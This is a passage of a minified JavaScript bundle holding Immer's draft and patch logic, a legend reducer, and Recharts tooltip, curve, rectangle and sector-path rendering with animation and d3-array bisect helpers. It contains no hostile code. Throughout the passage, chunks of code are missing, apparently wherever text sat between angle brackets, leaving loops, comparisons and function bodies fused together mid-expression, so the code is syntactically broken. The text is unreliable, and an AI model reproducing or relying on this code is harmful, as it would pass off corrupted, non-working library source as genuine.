r=iN(t,n);return r?"value"in r?r.value:(i=r.get)==null?void 0:i.call(e.draft_):void 0}function iN(e,t){if(!(t in e))return;let n=Eo(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=Eo(n)}}function Wm(e){e.modified_||(e.modified_=!0,e.parent_&&Wm(e.parent_))}function Qf(e){e.copy_||(e.copy_=$m(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var WT=class{constructor(e){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!0,this.produce=(t,n,r)=>{if(typeof t=="function"&&typeof n!="function"){const a=n;n=t;const o=this;return function(c=a,...u){return o.produce(c,d=>n.call(this,d,...u))}}typeof n!="function"&&On(6),r!==void 0&&typeof r!="function"&&On(7);let i;if(Ji(t)){const a=Ny(this),o=Um(t,void 0);let l=!0;try{i=n(o),l=!1}finally{l?Bm(a):Fm(a)}return ky(a,r),Sy(i,a)}else if(!t||typeof t!="object"){if(i=n(t),i===void 0&&(i=t),i===eN&&(i=void 0),this.autoFreeze_&&Fx(i,!0),r){const a=[],o=[];ea("Patches").generateReplacementPatches_(t,i,a,o),r(a,o)}return i}else On(1,t)},this.produceWithPatches=(t,n)=>{if(typeof t=="function")return(o,...l)=>this.produceWithPatches(o,c=>t(c,...l));let r,i;return[this.produce(t,n,(o,l)=>{r=o,i=l}),r,i]},typeof(e==null?void 0:e.autoFreeze)=="boolean"&&this.setAutoFreeze(e.autoFreeze),typeof(e==null?void 0:e.useStrictShallowCopy)=="boolean"&&this.setUseStrictShallowCopy(e.useStrictShallowCopy),typeof(e==null?void 0:e.useStrictIteration)=="boolean"&&this.setUseStrictIteration(e.useStrictIteration)}createDraft(e){Ji(e)||On(8),Ya(e)&&(e=UT(e));const t=Ny(this),n=Um(e,void 0);return n[sn].isManual_=!0,Fm(t),n}finishDraft(e,t){const n=e&&e[sn];(!n||!n.isManual_)&&On(9);const{scope_:r}=n;return ky(r,t),Sy(void 0,r)}setAutoFreeze(e){this.autoFreeze_=e}setUseStrictShallowCopy(e){this.useStrictShallowCopy_=e}setUseStrictIteration(e){this.useStrictIteration_=e}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(e,t){let n;for(n=t.length-1;n>=0;n--){const i=t[n];if(i.path.length===0&&i.op==="replace"){e=i.value;break}}n>-1&&(t=t.slice(n+1));const r=ea("Patches").applyPatches_;return Ya(e)?r(e,t):this.produce(e,i=>r(i,t))}};function Um(e,t){const n=Zo(e)?ea("MapSet").proxyMap_(e,t):_d(e)?ea("MapSet").proxySet_(e,t):BT(e,t);return(t?t.scope_:rN()).drafts_.push(n),n}function UT(e){return Ya(e)||On(10,e),aN(e)}function aN(e){if(!Ji(e)||Od(e))return e;const t=e[sn];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=$m(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=$m(e,!0);return ru(n,(i,a)=>{nN(n,i,aN(a))},r),t&&(t.finalized_=!1),n}var VT=new WT;VT.produce;var HT={settings:{layout:"horizontal",align:"center",verticalAlign:"middle",itemSorter:"value"},size:{width:0,height:0},payload:[]},sN=Yt({name:"legend",initialState:HT,reducers:{setLegendSize(e,t){e.size.width=t.payload.width,e.size.height=t.payload.height},setLegendSettings(e,t){e.settings.align=t.payload.align,e.settings.layout=t.payload.layout,e.settings.verticalAlign=t.payload.verticalAlign,e.settings.itemSorter=t.payload.itemSorter},addLegendPayload:{reducer(e,t){e.payload.push(t.payload)},prepare:$e()},replaceLegendPayload:{reducer(e,t){var{prev:n,next:r}=t.payload,i=In(e).payload.indexOf(n);i>-1&&(e.payload[i]=r)},prepare:$e()},removeLegendPayload:{reducer(e,t){var n=In(e).payload.indexOf(t.payload);n>-1&&e.payload.splice(n,1)},prepare:$e()}}}),{setLegendSize:zV,setLegendSettings:CV,addLegendPayload:oN,replaceLegendPayload:lN,removeLegendPayload:cN}=sN.actions,KT=sN.reducer;function Vm(){return Vm=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{separator:t=la.separator,contentStyle:n,itemStyle:r,labelStyle:i=la.labelStyle,payload:a,formatter:o,itemSorter:l,wrapperClassName:c,labelClassName:u,label:d,labelFormatter:f,accessibilityLayer:m=la.accessibilityLayer}=e,h=()=>{if(a&&a.length){var k={padding:0,margin:0},S=(l?md(a,l):a).map((N,z)=>{if(N.type==="none")return null;var O=N.formatter||o||XT,{value:_,name:T}=N,P=_,R=T;if(O){var V=O(_,T,N,z,a);if(Array.isArray(V))[P,R]=V;else if(V!=null)P=V;else return null}var $=Cs(Cs({},la.itemStyle),{},{color:N.color||la.itemStyle.color},r);return p.createElement("li",{className:"recharts-tooltip-item",key:"tooltip-item-".concat(z),style:$},br(R)?p.createElement("span",{className:"recharts-tooltip-item-name"},R):null,br(R)?p.createElement("span",{className:"recharts-tooltip-item-separator"},t):null,p.createElement("span",{className:"recharts-tooltip-item-value"},P),p.createElement("span",{className:"recharts-tooltip-item-unit"},N.unit||""))});return p.createElement("ul",{className:"recharts-tooltip-item-list",style:k},S)}return null},x=Cs(Cs({},la.contentStyle),n),g=Cs({margin:0},i),y=!St(d),v=y?d:"",b=qe("recharts-default-tooltip",c),w=qe("recharts-tooltip-label",u);y&&f&&a!==void 0&&a!==null&&(v=f(d,a));var j=m?{role:"status","aria-live":"assertive"}:{};return p.createElement("div",Vm({className:b,style:x},j),p.createElement("p",{className:w,style:g},p.isValidElement(v)?v:"".concat(v)),h())},Ps="recharts-tooltip-wrapper",QT={visibility:"hidden"};function JT(e){var{coordinate:t,translateX:n,translateY:r}=e;return qe(Ps,{["".concat(Ps,"-right")]:fe(n)&&t&&fe(t.x)&&n>=t.x,["".concat(Ps,"-left")]:fe(n)&&t&&fe(t.x)&&n=t.y,["".concat(Ps,"-top")]:fe(r)&&t&&fe(t.y)&&r0?i:0),f=n[r]+i;if(t[r])return o[r]?d:f;var m=c[r];if(m==null)return 0;if(o[r]){var h=d,x=m;return hy?Math.max(d,m):Math.max(f,m)}function eM(e){var{translateX:t,translateY:n,useTranslate3d:r}=e;return{transform:r?"translate3d(".concat(t,"px, ").concat(n,"px, 0)"):"translate(".concat(t,"px, ").concat(n,"px)")}}function tM(e){var{allowEscapeViewBox:t,coordinate:n,offsetTop:r,offsetLeft:i,position:a,reverseDirection:o,tooltipBox:l,useTranslate3d:c,viewBox:u}=e,d,f,m;return l.height>0&&l.width>0&&n?(f=Py({allowEscapeViewBox:t,coordinate:n,key:"x",offset:i,position:a,reverseDirection:o,tooltipDimension:l.width,viewBox:u,viewBoxDimension:u.width}),m=Py({allowEscapeViewBox:t,coordinate:n,key:"y",offset:r,position:a,reverseDirection:o,tooltipDimension:l.height,viewBox:u,viewBoxDimension:u.height}),d=eM({translateX:f,translateY:m,useTranslate3d:c})):d=QT,{cssProperties:d,cssClasses:JT({translateX:f,translateY:m,coordinate:n})}}function Ey(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Ll(e){for(var t=1;t{if(t.key==="Escape"){var n,r,i,a;this.setState({dismissed:!0,dismissedAtCoordinate:{x:(n=(r=this.props.coordinate)===null||r===void 0?void 0:r.x)!==null&&n!==void 0?n:0,y:(i=(a=this.props.coordinate)===null||a===void 0?void 0:a.y)!==null&&i!==void 0?i:0}})}})}componentDidMount(){document.addEventListener("keydown",this.handleKeyDown)}componentWillUnmount(){document.removeEventListener("keydown",this.handleKeyDown)}componentDidUpdate(){var t,n;this.state.dismissed&&(((t=this.props.coordinate)===null||t===void 0?void 0:t.x)!==this.state.dismissedAtCoordinate.x||((n=this.props.coordinate)===null||n===void 0?void 0:n.y)!==this.state.dismissedAtCoordinate.y)&&(this.state.dismissed=!1)}render(){var{active:t,allowEscapeViewBox:n,animationDuration:r,animationEasing:i,children:a,coordinate:o,hasPayload:l,isAnimationActive:c,offset:u,position:d,reverseDirection:f,useTranslate3d:m,viewBox:h,wrapperStyle:x,lastBoundingBox:g,innerRef:y,hasPortalFromProps:v}=this.props,b=typeof u=="number"?u:u.x,w=typeof u=="number"?u:u.y,{cssClasses:j,cssProperties:k}=tM({allowEscapeViewBox:n,coordinate:o,offsetLeft:b,offsetTop:w,position:d,reverseDirection:f,tooltipBox:{height:g.height,width:g.width},useTranslate3d:m,viewBox:h}),S=v?{}:Ll(Ll({transition:c&&t?"transform ".concat(r,"ms ").concat(i):void 0},k),{},{pointerEvents:"none",visibility:!this.state.dismissed&&t&&l?"visible":"hidden",position:"absolute",top:0,left:0}),N=Ll(Ll({},S),{},{visibility:!this.state.dismissed&&t&&l?"visible":"hidden"},x);return p.createElement("div",{xmlns:"http://www.w3.org/1999/xhtml",tabIndex:-1,className:j,style:N,ref:y},a)}}var uN=()=>{var e;return(e=xe(t=>t.rootProps.accessibilityLayer))!==null&&e!==void 0?e:!0};function Km(){return Km=Object.assign?Object.assign.bind():function(e){for(var t=1;tje(e.x)&&je(e.y),Ty=e=>e.base!=null&&su(e.base)&&su(e),Es=e=>e.x,As=e=>e.y,lM=(e,t)=>{if(typeof e=="function")return e;var n="curve".concat(Ko(e));if((n==="curveMonotone"||n==="curveBump")&&t){var r=Oy["".concat(n).concat(t==="vertical"?"Y":"X")];if(r)return r}return Oy[n]||sd},My={connectNulls:!1,type:"linear"},cM=e=>{var{type:t=My.type,points:n=[],baseLine:r,layout:i,connectNulls:a=My.connectNulls}=e,o=lM(t,i),l=a?n.filter(su):n;if(Array.isArray(r)){var c,u=n.map((x,g)=>_y(_y({},x),{},{base:r[g]}));i==="vertical"?c=Cl().y(As).x1(Es).x0(x=>x.base.x):c=Cl().x(Es).y1(As).y0(x=>x.base.y);var d=c.defined(Ty).curve(o),f=a?u.filter(Ty):u;return d(f)}var m;i==="vertical"&&fe(r)?m=Cl().y(As).x1(Es).x0(r):fe(r)?m=Cl().x(Es).y1(As).y0(r):m=w5().x(Es).y(As);var h=m.defined(su).curve(o);return h(l)},Ia=e=>{var{className:t,points:n,path:r,pathRef:i}=e,a=ss();if((!n||!n.length)&&!r)return null;var o={type:e.type,points:e.points,baseLine:e.baseLine,layout:e.layout||a,connectNulls:e.connectNulls},l=n&&n.length?cM(o):r;return p.createElement("path",Km({},yr(e),wx(e),{className:qe("recharts-curve",t),d:l===null?void 0:l,ref:i}))},uM=["x","y","top","left","width","height","className"];function qm(){return qm=Object.assign?Object.assign.bind():function(e){for(var t=1;t"M".concat(e,",").concat(i,"v").concat(r,"M").concat(a,",").concat(t,"h").concat(n),gM=e=>{var{x:t=0,y:n=0,top:r=0,left:i=0,width:a=0,height:o=0,className:l}=e,c=hM(e,uM),u=dM({x:t,y:n,top:r,left:i,width:a,height:o},c);return!fe(t)||!fe(n)||!fe(a)||!fe(o)||!fe(r)||!fe(i)?null:p.createElement("path",qm({},Mt(u),{className:qe("recharts-cross",l),d:vM(t,n,a,o,r,i)}))};function yM(e,t,n,r){var i=r/2;return{stroke:"none",fill:"#ccc",x:e==="horizontal"?t.x-i:n.left+.5,y:e==="horizontal"?n.top+.5:t.y-i,width:e==="horizontal"?r:n.width-1,height:e==="horizontal"?n.height-1:r}}function Iy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Dy(e){for(var t=1;te.replace(/([A-Z])/g,t=>"-".concat(t.toLowerCase())),dN=(e,t,n)=>e.map(r=>"".concat(kM(r)," ").concat(t,"ms ").concat(n)).join(","),NM=(e,t)=>[Object.keys(e),Object.keys(t)].reduce((n,r)=>n.filter(i=>r.includes(i))),Oo=(e,t)=>Object.keys(t).reduce((n,r)=>Dy(Dy({},n),{},{[r]:e(r,t[r])}),{});function Ry(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function st(e){for(var t=1;te+(t-e)*n,Ym=e=>{var{from:t,to:n}=e;return t!==n},fN=(e,t,n)=>{var r=Oo((i,a)=>{if(Ym(a)){var[o,l]=e(a.from,a.to,a.velocity);return st(st({},a),{},{from:o,velocity:l})}return a},t);return n<1?Oo((i,a)=>Ym(a)&&r[i]!=null?st(st({},a),{},{velocity:ou(a.velocity,r[i].velocity,n),from:ou(a.from,r[i].from,n)}):a,t):fN(e,r,n-1)};function PM(e,t,n,r,i,a){var o,l=r.reduce((m,h)=>st(st({},m),{},{[h]:{from:e[h],velocity:0,to:t[h]}}),{}),c=()=>Oo((m,h)=>h.from,l),u=()=>!Object.values(l).filter(Ym).length,d=null,f=m=>{o||(o=m);var h=m-o,x=h/n.dt;l=fN(n,l,x),i(st(st(st({},e),t),c())),o=m,u()||(d=a.setTimeout(f))};return()=>(d=a.setTimeout(f),()=>{var m;(m=d)===null||m===void 0||m()})}function EM(e,t,n,r,i,a,o){var l=null,c=i.reduce((f,m)=>{var h=e[m],x=t[m];return h==null||x==null?f:st(st({},f),{},{[m]:[h,x]})},{}),u,d=f=>{u||(u=f);var m=(f-u)/r,h=Oo((g,y)=>ou(...y,n(m)),c);if(a(st(st(st({},e),t),h)),m<1)l=o.setTimeout(d);else{var x=Oo((g,y)=>ou(...y,n(1)),c);a(st(st(st({},e),t),x))}};return()=>(l=o.setTimeout(d),()=>{var f;(f=l)===null||f===void 0||f()})}const AM=(e,t,n,r,i,a)=>{var o=NM(e,t);return n==null?()=>(i(st(st({},e),t)),()=>{}):n.isStepper===!0?PM(e,t,n,o,i,a):EM(e,t,n,r,o,i,a)};var lu=1e-4,pN=(e,t)=>[0,3*e,3*t-6*e,3*e-3*t+1],mN=(e,t)=>e.map((n,r)=>n*t**r).reduce((n,r)=>n+r),$y=(e,t)=>n=>{var r=pN(e,t);return mN(r,n)},_M=(e,t)=>n=>{var r=pN(e,t),i=[...r.map((a,o)=>a*o).slice(1),0];return mN(i,n)},OM=e=>{var t,n=e.split("(");if(n.length!==2||n[0]!=="cubic-bezier")return null;var r=(t=n[1])===null||t===void 0||(t=t.split(")")[0])===null||t===void 0?void 0:t.split(",");if(r==null||r.length!==4)return null;var i=r.map(a=>parseFloat(a));return[i[0],i[1],i[2],i[3]]},TM=function(){for(var t=arguments.length,n=new Array(t),r=0;r{var i=$y(e,n),a=$y(t,r),o=_M(e,n),l=u=>u>1?1:u<0?0:u,c=u=>{for(var d=u>1?1:u,f=d,m=0;m<8;++m){var h=i(f)-d,x=o(f);if(Math.abs(h-d)0&&arguments[0]!==void 0?arguments[0]:{},{stiff:n=100,damping:r=8,dt:i=17}=t,a=(o,l,c)=>{var u=-(o-l)*n,d=c*r,f=c+(u-d)*i/1e3,m=c*i/1e3+o;return Math.abs(m-l){if(typeof e=="string")switch(e){case"ease":case"ease-in-out":case"ease-out":case"ease-in":case"linear":return By(e);case"spring":return LM();default:if(e.split("(")[0]==="cubic-bezier")return By(e)}return typeof e=="function"?e:null};function DM(e){var t,n=()=>null,r=!1,i=null,a=o=>{if(!r){if(Array.isArray(o)){if(!o.length)return;var l=o,[c,...u]=l;if(typeof c=="number"){i=e.setTimeout(a.bind(null,u),c);return}a(c),i=e.setTimeout(a.bind(null,u));return}typeof o=="string"&&(t=o,n(t)),typeof o=="object"&&(t=o,n(t)),typeof o=="function"&&o()}};return{stop:()=>{r=!0},start:o=>{r=!1,i&&(i(),i=null),a(o)},subscribe:o=>(n=o,()=>{n=()=>null}),getTimeoutController:()=>e}}class RM{setTimeout(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:0,r=performance.now(),i=null,a=o=>{o-r>=n?t(o):typeof requestAnimationFrame=="function"&&(i=requestAnimationFrame(a))};return i=requestAnimationFrame(a),()=>{i!=null&&cancelAnimationFrame(i)}}}function $M(){return DM(new RM)}var BM=p.createContext($M);function FM(e,t){var n=p.useContext(BM);return p.useMemo(()=>t??n(e),[e,t,n])}var WM=()=>!(typeof window<"u"&&window.document&&window.document.createElement&&window.setTimeout),Td={isSsr:WM()},UM={begin:0,duration:1e3,easing:"ease",isActive:!0,canBegin:!0,onAnimationEnd:()=>{},onAnimationStart:()=>{}},Fy={t:0},Jf={t:1};function Md(e){var t=cn(e,UM),{isActive:n,canBegin:r,duration:i,easing:a,begin:o,onAnimationEnd:l,onAnimationStart:c,children:u}=t,d=n==="auto"?!Td.isSsr:n,f=FM(t.animationId,t.animationManager),[m,h]=p.useState(d?Fy:Jf),x=p.useRef(null);return p.useEffect(()=>{d||h(Jf)},[d]),p.useEffect(()=>{if(!d||!r)return as;var g=AM(Fy,Jf,IM(a),i,h,f.getTimeoutController()),y=()=>{x.current=g()};return f.start([c,o,y,i,l]),()=>{f.stop(),x.current&&x.current(),l()}},[d,r,i,a,o,c,l,f]),u(m.t)}function Ld(e){var t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"animation-",n=p.useRef(So(t)),r=p.useRef(e);return r.current!==e&&(n.current=So(t),r.current=e),n.current}var VM=["radius"],HM=["radius"],Wy,Uy,Vy,Hy,Ky,qy,Yy,Gy,Xy,Zy;function Qy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Jy(e){for(var t=1;t{var a=Gr(n),o=Gr(r),l=Math.min(Math.abs(a)/2,Math.abs(o)/2),c=o>=0?1:-1,u=a>=0?1:-1,d=o>=0&&a>=0||o<0&&a<0?1:0,f;if(l>0&&Array.isArray(i)){for(var m=[0,0,0,0],h=0,x=4;hl?l:y}f=Ge(Wy||(Wy=Un(["M",",",""])),e,t+c*m[0]),m[0]>0&&(f+=Ge(Uy||(Uy=Un(["A ",",",",0,0,",",",",",""])),m[0],m[0],d,e+u*m[0],t)),f+=Ge(Vy||(Vy=Un(["L ",",",""])),e+n-u*m[1],t),m[1]>0&&(f+=Ge(Hy||(Hy=Un(["A ",",",",0,0,",`, + `,",",""])),m[1],m[1],d,e+n,t+c*m[1])),f+=Ge(Ky||(Ky=Un(["L ",",",""])),e+n,t+r-c*m[2]),m[2]>0&&(f+=Ge(qy||(qy=Un(["A ",",",",0,0,",`, + `,",",""])),m[2],m[2],d,e+n-u*m[2],t+r)),f+=Ge(Yy||(Yy=Un(["L ",",",""])),e+u*m[3],t+r),m[3]>0&&(f+=Ge(Gy||(Gy=Un(["A ",",",",0,0,",`, + `,",",""])),m[3],m[3],d,e,t+r-c*m[3])),f+="Z"}else if(l>0&&i===+i&&i>0){var v=Math.min(l,i);f=Ge(Xy||(Xy=Un(["M ",",",` + A `,",",",0,0,",",",",",` + L `,",",` + A `,",",",0,0,",",",",",` + L `,",",` + A `,",",",0,0,",",",",",` + L `,",",` + A `,",",",0,0,",",",","," Z"])),e,t+c*v,v,v,d,e+u*v,t,e+n-u*v,t,v,v,d,e+n,t+c*v,e+n,t+r-c*v,v,v,d,e+n-u*v,t+r,e+u*v,t+r,v,v,d,e,t+r-c*v)}else f=Ge(Zy||(Zy=Un(["M ",","," h "," v "," h "," Z"])),e,t,n,r,-n);return f},n1={x:0,y:0,width:0,height:0,radius:0,isAnimationActive:!1,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},hN=e=>{var t=cn(e,n1),n=p.useRef(null),[r,i]=p.useState(-1);p.useEffect(()=>{if(n.current&&n.current.getTotalLength)try{var W=n.current.getTotalLength();W&&i(W)}catch{}},[]);var{x:a,y:o,width:l,height:c,radius:u,className:d}=t,{animationEasing:f,animationDuration:m,animationBegin:h,isAnimationActive:x,isUpdateAnimationActive:g}=t,y=p.useRef(l),v=p.useRef(c),b=p.useRef(a),w=p.useRef(o),j=p.useMemo(()=>({x:a,y:o,width:l,height:c,radius:u}),[a,o,l,c,u]),k=Ld(j,"rectangle-");if(a!==+a||o!==+o||l!==+l||c!==+c||l===0||c===0)return null;var S=qe("recharts-rectangle",d);if(!g){var N=Mt(t),{radius:z}=N,O=e1(N,VM);return p.createElement("path",cu({},O,{x:Gr(a),y:Gr(o),width:Gr(l),height:Gr(c),radius:typeof u=="number"?u:void 0,className:S,d:t1(a,o,l,c,u)}))}var _=y.current,T=v.current,P=b.current,R=w.current,V="0px ".concat(r===-1?1:r,"px"),$="".concat(r,"px 0px"),L=dN(["strokeDasharray"],m,typeof f=="string"?f:n1.animationEasing);return p.createElement(Md,{animationId:k,key:k,canBegin:r>0,duration:m,easing:f,isActive:g,begin:h},W=>{var B=jt(_,l,W),U=jt(T,c,W),F=jt(P,a,W),H=jt(R,o,W);n.current&&(y.current=B,v.current=U,b.current=F,w.current=H);var G;x?W>0?G={transition:L,strokeDasharray:$}:G={strokeDasharray:V}:G={strokeDasharray:$};var re=Mt(t),{radius:oe}=re,he=e1(re,HM);return p.createElement("path",cu({},he,{radius:typeof u=="number"?u:void 0,className:S,d:t1(F,H,B,U,u),ref:n,style:Jy(Jy({},G),t.style)}))})};function r1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function i1(e){for(var t=1;te*180/Math.PI,rt=(e,t,n,r)=>({x:e+Math.cos(-uu*r)*n,y:t+Math.sin(-uu*r)*n}),xN=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:{top:0,right:0,bottom:0,left:0};return Math.min(Math.abs(t-(r.left||0)-(r.right||0)),Math.abs(n-(r.top||0)-(r.bottom||0)))/2},e8=(e,t)=>{var{x:n,y:r}=e,{x:i,y:a}=t;return Math.sqrt((n-i)**2+(r-a)**2)},t8=(e,t)=>{var{x:n,y:r}=e,{cx:i,cy:a}=t,o=e8({x:n,y:r},{x:i,y:a});if(o<=0)return{radius:o,angle:0};var l=(n-i)/o,c=Math.acos(l);return r>a&&(c=2*Math.PI-c),{radius:o,angle:JM(c),angleInRadian:c}},n8=e=>{var{startAngle:t,endAngle:n}=e,r=Math.floor(t/360),i=Math.floor(n/360),a=Math.min(r,i);return{startAngle:t-a*360,endAngle:n-a*360}},r8=(e,t)=>{var{startAngle:n,endAngle:r}=t,i=Math.floor(n/360),a=Math.floor(r/360),o=Math.min(i,a);return e+o*360},i8=(e,t)=>{var{chartX:n,chartY:r}=e,{radius:i,angle:a}=t8({x:n,y:r},t),{innerRadius:o,outerRadius:l}=t;if(il||i===0)return null;var{startAngle:c,endAngle:u}=n8(t),d=a,f;if(c<=u){for(;d>u;)d-=360;for(;d=c&&d<=u}else{for(;d>c;)d-=360;for(;d=u&&d<=c}return f?i1(i1({},t),{},{radius:i,angle:r8(d,t)}):null};function vN(e){var{cx:t,cy:n,radius:r,startAngle:i,endAngle:a}=e,o=rt(t,n,r,i),l=rt(t,n,r,a);return{points:[o,l],cx:t,cy:n,radius:r,startAngle:i,endAngle:a}}var a1,s1,o1,l1,c1,u1,d1;function Gm(){return Gm=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var n=Ft(t-e),r=Math.min(Math.abs(t-e),359.999);return n*r},Il=e=>{var{cx:t,cy:n,radius:r,angle:i,sign:a,isExternal:o,cornerRadius:l,cornerIsExternal:c}=e,u=l*(o?1:-1)+r,d=Math.asin(l/u)/uu,f=c?i:i+a*d,m=rt(t,n,u,f),h=rt(t,n,r,f),x=c?i-a*d:i,g=rt(t,n,u*Math.cos(d*uu),x);return{center:m,circleTangency:h,lineTangency:g,theta:d}},gN=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:a,endAngle:o}=e,l=a8(a,o),c=a+l,u=rt(t,n,i,a),d=rt(t,n,i,c),f=Ge(a1||(a1=Mi(["M ",",",` + A `,",",`,0, + `,",",`, + `,",",` + `])),u.x,u.y,i,i,+(Math.abs(l)>180),+(a>c),d.x,d.y);if(r>0){var m=rt(t,n,r,a),h=rt(t,n,r,c);f+=Ge(s1||(s1=Mi(["L ",",",` + A `,",",`,0, + `,",",`, + `,","," Z"])),h.x,h.y,r,r,+(Math.abs(l)>180),+(a<=c),m.x,m.y)}else f+=Ge(o1||(o1=Mi(["L ",","," Z"])),t,n);return f},s8=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,cornerRadius:a,forceCornerRadius:o,cornerIsExternal:l,startAngle:c,endAngle:u}=e,d=Ft(u-c),{circleTangency:f,lineTangency:m,theta:h}=Il({cx:t,cy:n,radius:i,angle:c,sign:d,cornerRadius:a,cornerIsExternal:l}),{circleTangency:x,lineTangency:g,theta:y}=Il({cx:t,cy:n,radius:i,angle:u,sign:-d,cornerRadius:a,cornerIsExternal:l}),v=l?Math.abs(c-u):Math.abs(c-u)-h-y;if(v<0)return o?Ge(l1||(l1=Mi(["M ",",",` + a`,",",",0,0,1,",`,0 + a`,",",",0,0,1,",`,0 + `])),m.x,m.y,a,a,a*2,a,a,-a*2):gN({cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:c,endAngle:u});var b=Ge(c1||(c1=Mi(["M ",",",` + A`,",",",0,0,",",",",",` + A`,",",",0,",",",",",",",` + A`,",",",0,0,",",",",",` + `])),m.x,m.y,a,a,+(d<0),f.x,f.y,i,i,+(v>180),+(d<0),x.x,x.y,a,a,+(d<0),g.x,g.y);if(r>0){var{circleTangency:w,lineTangency:j,theta:k}=Il({cx:t,cy:n,radius:r,angle:c,sign:d,isExternal:!0,cornerRadius:a,cornerIsExternal:l}),{circleTangency:S,lineTangency:N,theta:z}=Il({cx:t,cy:n,radius:r,angle:u,sign:-d,isExternal:!0,cornerRadius:a,cornerIsExternal:l}),O=l?Math.abs(c-u):Math.abs(c-u)-k-z;if(O<0&&a===0)return"".concat(b,"L").concat(t,",").concat(n,"Z");b+=Ge(u1||(u1=Mi(["L",",",` + A`,",",",0,0,",",",",",` + A`,",",",0,",",",",",",",` + A`,",",",0,0,",",",",","Z"])),N.x,N.y,a,a,+(d<0),S.x,S.y,r,r,+(O>180),+(d>0),w.x,w.y,a,a,+(d<0),j.x,j.y)}else b+=Ge(d1||(d1=Mi(["L",",","Z"])),t,n);return b},o8={cx:0,cy:0,innerRadius:0,outerRadius:0,startAngle:0,endAngle:0,cornerRadius:0,forceCornerRadius:!1,cornerIsExternal:!1},yN=e=>{var t=cn(e,o8),{cx:n,cy:r,innerRadius:i,outerRadius:a,cornerRadius:o,forceCornerRadius:l,cornerIsExternal:c,startAngle:u,endAngle:d,className:f}=t;if(a0&&Math.abs(u-d)<360?g=s8({cx:n,cy:r,innerRadius:i,outerRadius:a,cornerRadius:Math.min(x,h/2),forceCornerRadius:l,cornerIsExternal:c,startAngle:u,endAngle:d}):g=gN({cx:n,cy:r,innerRadius:i,outerRadius:a,startAngle:u,endAngle:d}),p.createElement("path",Gm({},Mt(t),{className:m,d:g}))};function l8(e,t,n){if(e==="horizontal")return[{x:t.x,y:n.top},{x:t.x,y:n.top+n.height}];if(e==="vertical")return[{x:n.left,y:t.y},{x:n.left+n.width,y:t.y}];if(R5(t)){if(e==="centric"){var{cx:r,cy:i,innerRadius:a,outerRadius:o,angle:l}=t,c=rt(r,i,a,l),u=rt(r,i,o,l);return[{x:c.x,y:c.y},{x:u.x,y:u.y}]}return vN(t)}}var bN={},wN={},jN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=_x;function n(r){return t.isSymbol(r)?NaN:Number(r)}e.toNumber=n})(jN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=jN;function n(r){return r?(r=t.toNumber(r),r===1/0||r===-1/0?(r<0?-1:1)*Number.MAX_VALUE:r===r?r:0):r===0?r:0}e.toFinite=n})(wN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Ox,n=wN;function r(i,a,o){o&&typeof o!="number"&&t.isIterateeCall(i,a,o)&&(a=o=void 0),i=n.toFinite(i),a===void 0?(a=i,i=0):a=n.toFinite(a),o=o===void 0?it?1:e>=t?0:NaN}function u8(e,t){return e==null||t==null?NaN:te?1:t>=e?0:NaN}function Ux(e){let t,n,r;e.length!==2?(t=si,n=(l,c)=>si(e(l),c),r=(l,c)=>e(l)-c):(t=e===si||e===u8?e:d8,n=e,r=e);function i(l,c,u=0,d=l.length){if(u>>1;n(l[f],c)<0?u=f+1:d=f}while(u>>1;n(l[f],c)<=0?u=f+1:d=f}while(uu&&r(l[f-1],c)>-r(l[f],c)?f-1:f}return{left:i,center:o,right:a}}function d8(){return 0}function NN(e){return e===null?NaN:+e}function*f8(e,t){for(let n of e)n!=null&&(n=+n)>=n&&(yield n)}const p8=Ux(si),Qo=p8.right;Ux(NN).center;class f1 extends Map{constructor(t,n=x8){if(super(),Object.defineProperties(this,{_intern:{value:new Map},_key:{value:n}}),t!=null)for(const[r,i]of t)this.set(r,i)}get(t){return super.get(p1(this,t))}has(t){return super.has(p1(this,t))}set(t,n){return super.set(m8(this,t),n)}delete(t){return super.delete(h8(this,t))}}function p1({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):n}function m8({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):(e.set(r,n),n)}function h8({_intern:e,_key:t},n){const r=t(n);return e.has(r)&&(n=e.get(r),e.delete(r)),n}function x8(e){return e!==null&&typeof e=="object"?e.valueOf():e}function v8(e=si){if(e===si)return SN;if(typeof e!="function")throw new TypeError("compare is not a function");return(t,n)=>{const r=e(t,n);return r||r===0?r:(e(n,n)===0)-(e(t,t)===0)}}function 